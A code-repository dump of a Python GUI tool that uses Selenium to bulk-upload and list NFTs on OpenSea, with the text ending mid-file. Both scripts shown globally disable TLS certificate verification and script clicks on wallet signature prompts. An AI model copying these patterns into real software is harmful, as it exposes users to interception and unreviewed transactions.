├── Old ├── upload.py ├── upload18.py ├── upload_2captcha.py ├── upload_captcha.py └── upload_fixedSSL.py ├── README.md ├── Save_gui.cloud ├── chrome_extension ├── Readme.md ├── content.js ├── eventPage.js ├── jquery-3.5.0.min.js ├── manifest.json ├── onay-128.png ├── onay-16.png ├── onay-24.png └── onay-48.png ├── chrome_profile └── chrome_profile_auto_generate_here.txt ├── chromedriver.exe ├── requirements.txt ├── src ├── images │ ├── 1.png │ └── fortune-cat-neko.png └── json │ └── 1.json └── upload_2captcha_V2.py /Old/upload.py: -------------------------------------------------------------------------------- 1 | import tkinter 2 | import subprocess 3 | from tkinter import * 4 | from tkinter import filedialog 5 | import tkinter as tk 6 | from tkinter import ttk 7 | from tkinter import messagebox 8 | import tkinter.font as font 9 | from turtle import width 10 | from PIL import ImageTk, Image 11 | import urllib.request 12 | from io import BytesIO 13 | import os 14 | import io 15 | import sys 16 | import pickle 17 | import time 18 | from decimal import * 19 | import webbrowser 20 | # from click import command 21 | from selenium import webdriver 22 | from selenium.webdriver.common.by import By 23 | from selenium.webdriver.support.wait import WebDriverWait 24 | from selenium.webdriver.chrome.options import Options 25 | from selenium.webdriver.chrome.service import Service 26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions 27 | from selenium.webdriver.support.ui import Select 28 | from selenium.webdriver.common.keys import Keys 29 | from datetime import timedelta 30 | from dateutil.relativedelta import relativedelta 31 | from datetime import timedelta, date 32 | import locale 33 | import json 34 | import ssl 35 | 36 | ssl._create_default_https_context = ssl._create_unverified_context 37 | 38 | #check local date format 39 | locale.setlocale(locale.LC_ALL, '') 40 | lastdate = date(date.today().year, 12, 31) 41 | 42 | root = Tk() 43 | root.geometry('750x850') 44 | root.resizable(False, False) 45 | root.title("NFTs Upload to OpenSea v1.8.2") 46 | 47 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0] 48 | main_directory = os.path.join(sys.path[0]) 49 | 50 | 51 | def supportURL(): 52 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app") 53 | 54 | def coffeeURL(): 55 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks") 56 | 57 | class WebImage: 58 | def __init__(self, url): 59 | with urllib.request.urlopen(url) as u: 60 | raw_data = u.read() 61 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data)) 62 | image = Image.open(io.BytesIO(raw_data)) 63 | self.image = ImageTk.PhotoImage(image) 64 | 65 | def get(self): 66 | return self.image 67 | imageurl = "https://www.infotrex.net/opensea/header.png" 68 | img = WebImage(imageurl).get() 69 | imagelab = tk.Label(root, image=img) 70 | imagelab.grid(row=0, columnspan=2) 71 | imagelab.bind("", lambda e:supportURL()) 72 | 73 | is_polygon = BooleanVar() 74 | is_polygon.set(False) 75 | 76 | is_listing = BooleanVar() 77 | is_listing.set(True) 78 | 79 | is_numformat = BooleanVar() 80 | is_numformat.set(False) 81 | 82 | 83 | def save_duration(): 84 | duration_value.set(value=duration_value.get()) 85 | # print(duration_value.get()) 86 | 87 | def open_chrome_profile(): 88 | subprocess.Popen( 89 | [ 90 | "start", 91 | "chrome", 92 | "--remote-debugging-port=8989", 93 | "--user-data-dir=" + main_directory + "/chrome_profile", 94 | ], 95 | shell=True, 96 | ) 97 | 98 | 99 | def save_file_path(): 100 | return os.path.join(sys.path[0], "Save_gui.cloud") 101 | 102 | 103 | # ask for directory on clicking button, changes button name. 104 | def upload_folder_input(): 105 | global upload_path 106 | upload_path = filedialog.askdirectory() 107 | Name_change_img_folder_button(upload_path) 108 | 109 | def Name_change_img_folder_button(upload_folder_input): 110 | upload_folder_input_button["text"] = upload_folder_input 111 | 112 | def is_numeric(val): 113 | if str(val).isdigit(): 114 | return True 115 | elif str(val).replace('.','',1).isdigit(): 116 | return True 117 | else: 118 | return False 119 | 120 | 121 | class InputField: 122 | def __init__(self, label, row_io, column_io, pos, master=root): 123 | self.master = master 124 | self.input_field = Entry(self.master, width=60) 125 | self.input_field.grid(ipady=3) 126 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 ) 127 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2) 128 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2) 129 | 130 | try: 131 | with open(save_file_path(), "rb") as infile: 132 | new_dict = pickle.load(infile) 133 | self.insert_text(new_dict[pos]) 134 | except FileNotFoundError: 135 | pass 136 | 137 | def insert_text(self, text): 138 | self.input_field.delete(0, "end") 139 | self.input_field.insert(0, text) 140 | 141 | def save_inputs(self, pos): 142 | #messagebox.showwarning("showwarning", "Warning") 143 | input_save_list.insert(pos, self.input_field.get()) 144 | #print(self.input_field.get()) 145 | with open(save_file_path(), "wb") as outfile: 146 | pickle.dump(input_save_list, outfile) 147 | 148 | def validate_inputs(self, maxlen, type, message): 149 | 150 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen): 151 | messagebox.showwarning("showwarning", message) 152 | 153 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen): 154 | messagebox.showwarning("showwarning", message) 155 | 156 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen): 157 | messagebox.showwarning("showwarning", message) 158 | 159 | else: 160 | return True 161 | 162 | 163 | ###input objects### 164 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1) 165 | start_num_input = InputField("Start Number:", 3, 0, 2) 166 | end_num_input = InputField("End Number:", 4, 0, 3) 167 | price = InputField("Default Price:", 5, 0, 4) 168 | title = InputField("Title:", 6, 0, 5) 169 | description = InputField("Description:", 7, 0, 6) 170 | file_format = InputField("NFT Image Format:", 8, 0, 7) 171 | external_link = InputField("External link:", 9, 0, 8) 172 | 173 | 174 | def save(): 175 | 176 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())): 177 | #messagebox.showwarning("showwarning", "End number should greater than start number!") 178 | print ("true") 179 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 : 180 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 181 | print ("true") 182 | else: 183 | collection_link_input.validate_inputs(200, 2, 'Collection link required') 184 | price.validate_inputs(100, 1, 'Price required') 185 | title.validate_inputs(100, 2, 'title required') 186 | description.validate_inputs(200, 2, 'description required') 187 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg') 188 | external_link.validate_inputs(100, 3, '') 189 | 190 | 191 | input_save_list.insert(0, upload_path) 192 | collection_link_input.save_inputs(1) 193 | start_num_input.save_inputs(2) 194 | end_num_input.save_inputs(3) 195 | price.save_inputs(4) 196 | title.save_inputs(5) 197 | description.save_inputs(6) 198 | file_format.save_inputs(7) 199 | external_link.save_inputs(8) 200 | 201 | 202 | 203 | 204 | def main_program_loop(): 205 | 206 | if len(end_num_input.input_field.get()) > 5 : 207 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 208 | sys.exit() 209 | 210 | project_path = main_directory 211 | file_path = upload_path 212 | collection_link = collection_link_input.input_field.get() 213 | start_num = int(start_num_input.input_field.get()) 214 | end_num = int(end_num_input.input_field.get()) 215 | loop_price = float(price.input_field.get()) 216 | loop_title = title.input_field.get() 217 | loop_file_format = file_format.input_field.get() 218 | loop_external_link = str(external_link.input_field.get()) 219 | loop_description = description.input_field.get() 220 | 221 | ##chromeoptions 222 | opt = Options() 223 | opt.add_argument('--headless') 224 | opt.add_experimental_option("debuggerAddress", "localhost:8989") 225 | # driver = webdriver.Chrome( 226 | # executable_path=project_path + "/chromedriver.exe", 227 | # chrome_options=opt, 228 | # ) 229 | driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt, ) 230 | wait = WebDriverWait(driver, 60) 231 | 232 | ###wait for methods 233 | def wait_css_selector(code): 234 | wait.until( 235 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code)) 236 | ) 237 | 238 | def wait_css_selectorTest(code): 239 | wait.until( 240 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code)) 241 | ) 242 | 243 | def wait_xpath(code): 244 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 245 | 246 | 247 | while end_num >= start_num: 248 | if is_numformat.get(): 249 | start_numformat = f"{ start_num:04}" 250 | else: 251 | start_numformat = f"{ start_num:01}" 252 | 253 | print("Start creating NFT " + loop_title + str(start_numformat)) 254 | print('number ', start_numformat) 255 | driver.get(collection_link) 256 | 257 | 258 | wait_xpath('//*[@id="media"]') 259 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]') 260 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here 261 | imageUpload.send_keys(imagePath) 262 | time.sleep(0.8) 263 | 264 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 265 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 266 | time.sleep(0.8) 267 | 268 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]') 269 | ext_link.send_keys(loop_external_link) 270 | time.sleep(0.8) 271 | 272 | desc = driver.find_element(By.XPATH, '//*[@id="description"]') 273 | desc.send_keys(loop_description) 274 | time.sleep(0.8) 275 | 276 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json" 277 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK): 278 | 279 | #print(str(jsonMetaData)) 280 | wait_css_selector("button[aria-label='Add properties']") 281 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']") 282 | driver.execute_script("arguments[0].click();", properties) 283 | time.sleep(0.8) 284 | 285 | # checks if file exists 286 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read()) 287 | 288 | if "attributes" in jsonData: 289 | jsonMetaData = jsonData['attributes'] 290 | 291 | for key in jsonMetaData: 292 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 293 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 294 | #print(str(key['trait_type'])) 295 | #print(str(key['value'])) 296 | input1.send_keys(str(key['trait_type'])) 297 | input2.send_keys(str(key['value'])) 298 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 299 | driver.execute_script("arguments[0].click();", addmore_button) 300 | time.sleep(0.9) 301 | 302 | try: 303 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 304 | driver.execute_script("arguments[0].click();", save_button) 305 | time.sleep(0.8) 306 | except: 307 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 308 | time.sleep(0.8) 309 | 310 | elif "properties" in jsonData: 311 | jsonMetaData = jsonData['properties'] 312 | 313 | for key in jsonMetaData: 314 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 315 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 316 | #print(str(key['type'])) 317 | #print(str(key['name'])) 318 | input1.send_keys(str(key['type'])) 319 | input2.send_keys(str(key['name'])) 320 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 321 | driver.execute_script("arguments[0].click();", addmore_button) 322 | time.sleep(0.9) 323 | 324 | try: 325 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 326 | driver.execute_script("arguments[0].click();", save_button) 327 | time.sleep(0.8) 328 | except: 329 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 330 | time.sleep(0.8) 331 | 332 | else: 333 | print("keys not found!") 334 | 335 | # Select Polygon blockchain if applicable 336 | #if is_polygon.get(): 337 | 338 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button') 339 | driver.execute_script("arguments[0].click();", create) 340 | time.sleep(0.8) 341 | 342 | try: 343 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i') 344 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i') 345 | cross.click() 346 | time.sleep(0.8) 347 | except: 348 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i') 349 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i') 350 | cross.click() 351 | time.sleep(0.8) 352 | # wait_css_selector("i[aria-label='Close']") 353 | # cross = driver.find_element_by_css_selector("i[aria-label='Close']") 354 | # cross.click() 355 | # time.sleep(0.8) 356 | 357 | 358 | main_page = driver.current_window_handle 359 | 360 | if is_listing.get(): 361 | 362 | wait_xpath('//a[text()="Sell"]') 363 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]') 364 | driver.execute_script("arguments[0].click();", sell) 365 | 366 | wait_css_selector("input[placeholder='Amount']") 367 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']") 368 | amount.send_keys(str(loop_price)) 369 | time.sleep(1) 370 | 371 | #duration 372 | duration_date = duration_value.get() 373 | #print(duration_date) 374 | # time.sleep(60) 375 | if duration_date == 1 : 376 | endday = (date.today() + timedelta(days=1)).day 377 | endmonth = (date.today() + timedelta(days=1)).month 378 | #print(endday, endmonth) 379 | if duration_date == 3 : 380 | endday = (date.today() + timedelta(days=3)).day 381 | endmonth = (date.today() + timedelta(days=3)).month 382 | #print(endday, endmonth) 383 | if duration_date == 7 : 384 | endday = (date.today() + timedelta(days=7)).day 385 | endmonth = (date.today() + timedelta(days=7)).month 386 | #print(endday, endmonth) 387 | if duration_date == 30: 388 | endday = (date.today() + relativedelta(months=+1)).day 389 | endmonth = (date.today() + relativedelta(months=+1)).month 390 | #print(endday, endmonth) 391 | if duration_date == 60: 392 | endday = (date.today() + relativedelta(months=+2)).day 393 | endmonth = (date.today() + relativedelta(months=+2)).month 394 | #print(endday, endmonth) 395 | if duration_date == 90: 396 | endday = (date.today() + relativedelta(months=+3)).day 397 | endmonth = (date.today() + relativedelta(months=+3)).month 398 | #print(endday, endmonth) 399 | if duration_date == 120: 400 | endday = (date.today() + relativedelta(months=+4)).day 401 | endmonth = (date.today() + relativedelta(months=+4)).month 402 | #print(endday, endmonth) 403 | if duration_date == 150: 404 | endday = (date.today() + relativedelta(months=+5)).day 405 | endmonth = (date.today() + relativedelta(months=+5)).month 406 | #print(endday, endmonth) 407 | if duration_date == 180: 408 | endday = (date.today() + relativedelta(months=+6)).day 409 | endmonth = (date.today() + relativedelta(months=+6)).month 410 | #print(endday, endmonth) 411 | 412 | #if duration_date != 30: 413 | amount.send_keys(Keys.TAB) 414 | time.sleep(0.8) 415 | # wait_xpath('//*[@id="duration"]') 416 | # driver.find_element_by_xpath('//*[@id="duration"]').click() 417 | 418 | wait_xpath('//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input') 419 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input') 420 | driver.execute_script("arguments[0].click();", select_durationday) 421 | time.sleep(0.8) 422 | 423 | if lastdate.strftime('%x')[:2] == "12": 424 | #print("is month first") 425 | select_durationday.send_keys(str(endmonth)) 426 | select_durationday.send_keys(str(endday)) 427 | select_durationday.send_keys(Keys.ENTER) 428 | time.sleep(1) 429 | elif lastdate.strftime('%x')[:2] == "31": 430 | #print("is day first") 431 | select_durationday.send_keys(str(endday)) 432 | select_durationday.send_keys(str(endmonth)) 433 | select_durationday.send_keys(Keys.ENTER) 434 | time.sleep(1) 435 | else: 436 | print("invalid date format: change date format to MM/DD/YYYY or DD/MM/YYYY") 437 | 438 | wait_css_selector("button[type='submit']") 439 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 440 | driver.execute_script("arguments[0].click();", listing) 441 | time.sleep(10) 442 | 443 | if is_polygon.get(): 444 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click() 445 | time.sleep(1) 446 | 447 | for handle in driver.window_handles: 448 | if handle != main_page: 449 | login_page = handle 450 | #break 451 | 452 | driver.switch_to.window(login_page) 453 | 454 | if is_polygon.get(): 455 | print("polygon") 456 | wait_css_selector("button[data-testid='request-signature__sign']") 457 | sign = driver.find_element(By.CSS_SELECTOR, "button[data-testid='request-signature__sign']") 458 | driver.execute_script("arguments[0].click();", sign) 459 | time.sleep(1) 460 | else: 461 | print("eth") 462 | try: 463 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 464 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 465 | driver.execute_script("arguments[0].click();", scrollsign) 466 | time.sleep(1) 467 | except: 468 | driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']").click() 469 | time.sleep(1) 470 | 471 | try: 472 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 473 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 474 | time.sleep(1) 475 | except: 476 | wait_xpath('//button[text()="Sign"]') 477 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 478 | driver.execute_script("arguments[0].click();", metasign) 479 | time.sleep(1) 480 | 481 | 482 | #change control to main page 483 | driver.switch_to.window(main_page) 484 | time.sleep(0.7) 485 | 486 | start_num = start_num + 1 487 | print('NFT creation completed!') 488 | 489 | driver.get("https://www.opensea.io") 490 | 491 | 492 | 493 | duration_value = IntVar() 494 | duration_value.set(value=180) 495 | 496 | duration_date = Frame(root, padx=0, pady=1) 497 | duration_date.grid(row=10, column=1, sticky=(N, W, E, S)) 498 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=8,).grid(row=0, column=1) 499 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=8, ).grid(row=0, column=2) 500 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=8,).grid(row=0, column=3) 501 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=8,).grid(row=0, column=4) 502 | tk.Radiobutton(duration_date, text="60 days", variable=duration_value, value=60, anchor="w", command=save_duration, width=8,).grid(row=0, column=5) 503 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=8,).grid(row=1, columnspan=1, column=1) 504 | tk.Radiobutton(duration_date, text="120 days", variable=duration_value, value=120, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=2) 505 | tk.Radiobutton(duration_date, text="150 days", variable=duration_value, value=150, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=3) 506 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=4) 507 | duration_date.label = Label(root, text="Duration:", anchor="w", width=20, height=1 ) 508 | duration_date.label.grid(row=10, column=0, padx=12, pady=2) 509 | 510 | 511 | # isnumFormat = tkinter.Checkbutton(root, text='Number format 0001 ~ 99999', var=is_numformat, width=49, anchor="w") 512 | # isnumFormat.grid(row=18, column=1) 513 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w") 514 | isCreate.grid(row=19, column=1) 515 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w") 516 | isPolygon.grid(row=20, column=1) 517 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input) 518 | upload_folder_input_button.grid(row=21, column=1, padx=2) 519 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile) 520 | open_browser.grid(row=23, column=1, pady=2) 521 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save) 522 | button_save.grid(row=22, column=1, pady=2) 523 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop) 524 | button_start['font'] = font.Font(size=10, weight='bold') 525 | button_start.grid(row=25, column=1, pady=2) 526 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE ) 527 | footer.grid(row=31, columnspan=2, padx=31, pady=31) 528 | 529 | try: 530 | with open(save_file_path(), "rb") as infile: 531 | new_dict = pickle.load(infile) 532 | global upload_path 533 | Name_change_img_folder_button(new_dict[0]) 534 | upload_path = new_dict[0] 535 | except FileNotFoundError: 536 | pass 537 | #####BUTTON ZONE END####### 538 | root.mainloop() 539 | -------------------------------------------------------------------------------- /Old/upload18.py: -------------------------------------------------------------------------------- 1 | import tkinter 2 | import subprocess 3 | from tkinter import * 4 | from tkinter import filedialog 5 | import tkinter as tk 6 | from tkinter import ttk 7 | from tkinter import messagebox 8 | import tkinter.font as font 9 | from turtle import width 10 | from PIL import ImageTk, Image 11 | import urllib.request 12 | from io import BytesIO 13 | import os 14 | import io 15 | import sys 16 | import pickle 17 | import time 18 | from decimal import * 19 | import webbrowser 20 | # from click import command 21 | from selenium import webdriver 22 | from selenium.webdriver.common.by import By 23 | from selenium.webdriver.support.wait import WebDriverWait 24 | from selenium.webdriver.chrome.options import Options 25 | from selenium.webdriver.chrome.service import Service 26 | from selenium.webdriver.support import expected_conditions as ExpectedConditions 27 | from selenium.webdriver.support.ui import Select 28 | from selenium.webdriver.common.keys import Keys 29 | from datetime import timedelta 30 | from dateutil.relativedelta import relativedelta 31 | from datetime import timedelta, date 32 | import locale 33 | import json 34 | import ssl 35 | 36 | ssl._create_default_https_context = ssl._create_unverified_context 37 | 38 | #check local date format 39 | locale.setlocale(locale.LC_ALL, '') 40 | lastdate = date(date.today().year, 12, 31) 41 | 42 | root = Tk() 43 | root.geometry('750x850') 44 | root.resizable(False, False) 45 | root.title("NFTs Upload to OpenSea v1.8.2") 46 | 47 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0] 48 | main_directory = os.path.join(sys.path[0]) 49 | 50 | 51 | def supportURL(): 52 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app") 53 | 54 | def coffeeURL(): 55 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks") 56 | 57 | class WebImage: 58 | def __init__(self, url): 59 | with urllib.request.urlopen(url) as u: 60 | raw_data = u.read() 61 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data)) 62 | image = Image.open(io.BytesIO(raw_data)) 63 | self.image = ImageTk.PhotoImage(image) 64 | 65 | def get(self): 66 | return self.image 67 | imageurl = "https://www.infotrex.net/opensea/header.png" 68 | img = WebImage(imageurl).get() 69 | imagelab = tk.Label(root, image=img) 70 | imagelab.grid(row=0, columnspan=2) 71 | imagelab.bind("", lambda e:supportURL()) 72 | 73 | is_polygon = BooleanVar() 74 | is_polygon.set(False) 75 | 76 | is_listing = BooleanVar() 77 | is_listing.set(True) 78 | 79 | is_numformat = BooleanVar() 80 | is_numformat.set(False) 81 | 82 | 83 | def save_duration(): 84 | duration_value.set(value=duration_value.get()) 85 | # print(duration_value.get()) 86 | 87 | def open_chrome_profile(): 88 | subprocess.Popen( 89 | [ 90 | "start", 91 | "chrome", 92 | "--remote-debugging-port=8989", 93 | "--user-data-dir=" + main_directory + "/chrome_profile", 94 | ], 95 | shell=True, 96 | ) 97 | 98 | 99 | def save_file_path(): 100 | return os.path.join(sys.path[0], "Save_gui.cloud") 101 | 102 | 103 | # ask for directory on clicking button, changes button name. 104 | def upload_folder_input(): 105 | global upload_path 106 | upload_path = filedialog.askdirectory() 107 | Name_change_img_folder_button(upload_path) 108 | 109 | def Name_change_img_folder_button(upload_folder_input): 110 | upload_folder_input_button["text"] = upload_folder_input 111 | 112 | def is_numeric(val): 113 | if str(val).isdigit(): 114 | return True 115 | elif str(val).replace('.','',1).isdigit(): 116 | return True 117 | else: 118 | return False 119 | 120 | 121 | class InputField: 122 | def __init__(self, label, row_io, column_io, pos, master=root): 123 | self.master = master 124 | self.input_field = Entry(self.master, width=60) 125 | self.input_field.grid(ipady=3) 126 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 ) 127 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2) 128 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2) 129 | 130 | try: 131 | with open(save_file_path(), "rb") as infile: 132 | new_dict = pickle.load(infile) 133 | self.insert_text(new_dict[pos]) 134 | except FileNotFoundError: 135 | pass 136 | 137 | def insert_text(self, text): 138 | self.input_field.delete(0, "end") 139 | self.input_field.insert(0, text) 140 | 141 | def save_inputs(self, pos): 142 | #messagebox.showwarning("showwarning", "Warning") 143 | input_save_list.insert(pos, self.input_field.get()) 144 | #print(self.input_field.get()) 145 | with open(save_file_path(), "wb") as outfile: 146 | pickle.dump(input_save_list, outfile) 147 | 148 | def validate_inputs(self, maxlen, type, message): 149 | 150 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen): 151 | messagebox.showwarning("showwarning", message) 152 | 153 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen): 154 | messagebox.showwarning("showwarning", message) 155 | 156 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen): 157 | messagebox.showwarning("showwarning", message) 158 | 159 | else: 160 | return True 161 | 162 | 163 | ###input objects### 164 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1) 165 | start_num_input = InputField("Start Number:", 3, 0, 2) 166 | end_num_input = InputField("End Number:", 4, 0, 3) 167 | price = InputField("Default Price:", 5, 0, 4) 168 | title = InputField("Title:", 6, 0, 5) 169 | description = InputField("Description:", 7, 0, 6) 170 | file_format = InputField("NFT Image Format:", 8, 0, 7) 171 | external_link = InputField("External link:", 9, 0, 8) 172 | 173 | 174 | def save(): 175 | 176 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())): 177 | #messagebox.showwarning("showwarning", "End number should greater than start number!") 178 | print ("true") 179 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 : 180 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 181 | print ("true") 182 | else: 183 | collection_link_input.validate_inputs(200, 2, 'Collection link required') 184 | price.validate_inputs(100, 1, 'Price required') 185 | title.validate_inputs(100, 2, 'title required') 186 | description.validate_inputs(200, 2, 'description required') 187 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg') 188 | external_link.validate_inputs(100, 3, '') 189 | 190 | 191 | input_save_list.insert(0, upload_path) 192 | collection_link_input.save_inputs(1) 193 | start_num_input.save_inputs(2) 194 | end_num_input.save_inputs(3) 195 | price.save_inputs(4) 196 | title.save_inputs(5) 197 | description.save_inputs(6) 198 | file_format.save_inputs(7) 199 | external_link.save_inputs(8) 200 | 201 | 202 | 203 | 204 | def main_program_loop(): 205 | 206 | if len(end_num_input.input_field.get()) > 5 : 207 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 208 | sys.exit() 209 | 210 | project_path = main_directory 211 | file_path = upload_path 212 | collection_link = collection_link_input.input_field.get() 213 | start_num = int(start_num_input.input_field.get()) 214 | end_num = int(end_num_input.input_field.get()) 215 | loop_price = float(price.input_field.get()) 216 | loop_title = title.input_field.get() 217 | loop_file_format = file_format.input_field.get() 218 | loop_external_link = str(external_link.input_field.get()) 219 | loop_description = description.input_field.get() 220 | 221 | ##chromeoptions 222 | opt = Options() 223 | opt.add_argument('--headless') 224 | opt.add_experimental_option("debuggerAddress", "localhost:8989") 225 | driver = webdriver.Chrome( 226 | executable_path=project_path + "/chromedriver.exe", 227 | chrome_options=opt, 228 | ) 229 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt, ) 230 | wait = WebDriverWait(driver, 60) 231 | 232 | ###wait for methods 233 | def wait_css_selector(code): 234 | wait.until( 235 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code)) 236 | ) 237 | 238 | def wait_css_selectorTest(code): 239 | wait.until( 240 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code)) 241 | ) 242 | 243 | def wait_xpath(code): 244 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 245 | 246 | 247 | while end_num >= start_num: 248 | if is_numformat.get(): 249 | start_numformat = f"{ start_num:04}" 250 | else: 251 | start_numformat = f"{ start_num:01}" 252 | 253 | print("Start creating NFT " + loop_title + str(start_numformat)) 254 | print('number ', start_numformat) 255 | driver.get(collection_link) 256 | 257 | 258 | wait_xpath('//*[@id="media"]') 259 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]') 260 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here 261 | imageUpload.send_keys(imagePath) 262 | time.sleep(0.8) 263 | 264 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 265 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 266 | time.sleep(0.8) 267 | 268 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]') 269 | ext_link.send_keys(loop_external_link) 270 | time.sleep(0.8) 271 | 272 | desc = driver.find_element(By.XPATH, '//*[@id="description"]') 273 | desc.send_keys(loop_description) 274 | time.sleep(0.8) 275 | 276 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json" 277 | if os.path.isfile(jsonFile) and 